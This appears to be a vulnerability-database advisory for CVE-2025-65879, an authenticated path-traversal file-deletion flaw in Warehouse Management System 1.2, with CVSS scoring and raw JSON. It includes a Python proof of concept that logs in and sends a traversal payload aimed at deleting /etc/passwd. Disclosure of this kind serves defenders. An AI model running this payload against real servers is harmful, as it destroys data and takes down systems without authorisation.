Security Vulnerability Report
中文
CVE-2025-65879 CVSS 8.1 HIGH

CVE-2025-65879

Published: 2025-12-05 17:16:04
Last Modified: 2025-12-12 12:51:37

Description

Warehouse Management System 1.2 contains an authenticated arbitrary file deletion vulnerability. The /goods/deleteGoods endpoint accepts a user-controlled goodsimg parameter, which is directly concatenated with the server's UPLOAD_PATH and passed to File.delete() without validation. A remote authenticated attacker can delete arbitrary files on the server by supplying directory traversal payloads.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:yeqifu:warehouse_management_system:*:*:*:*:*:*:*:* - VULNERABLE
Warehouse Management System 1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import urllib.parse # CVE-2025-65879 PoC - Authenticated Arbitrary File Deletion # Target: Warehouse Management System 1.2 # Endpoint: /goods/deleteGoods TARGET_URL = "http://target-server.com/goods/deleteGoods" USERNAME = "attacker" PASSWORD = "password" # Login to get session session = requests.Session() login_data = {"username": USERNAME, "password": PASSWORD} session.post("http://target-server.com/login", data=login_data) # Path traversal payload to delete arbitrary file # Delete /etc/passwd or web.xml configuration file malicious_path = "../../../etc/passwd" encoded_path = urllib.parse.quote(malicious_path) payload = {"goodsimg": malicious_path} # Send malicious request response = session.post(TARGET_URL, data=payload) if response.status_code == 200: print("[+] File deletion request sent successfully") print(f"[+] Payload: {malicious_path}") else: print("[-] Request failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65879", "sourceIdentifier": "[email protected]", "published": "2025-12-05T17:16:04.093", "lastModified": "2025-12-12T12:51:37.257", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Warehouse Management System 1.2 contains an authenticated arbitrary file deletion vulnerability. The /goods/deleteGoods endpoint accepts a user-controlled goodsimg parameter, which is directly concatenated with the server's UPLOAD_PATH and passed to File.delete() without validation. A remote authenticated attacker can delete arbitrary files on the server by supplying directory traversal payloads."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:yeqifu:warehouse_management_system:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.2", "matchCriteriaId": "A16F0889-2539-48B7-A747-587D1F887ADA"}]}]}], "references": [{"url": "https://github.com/W000i/vuln/issues/3", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}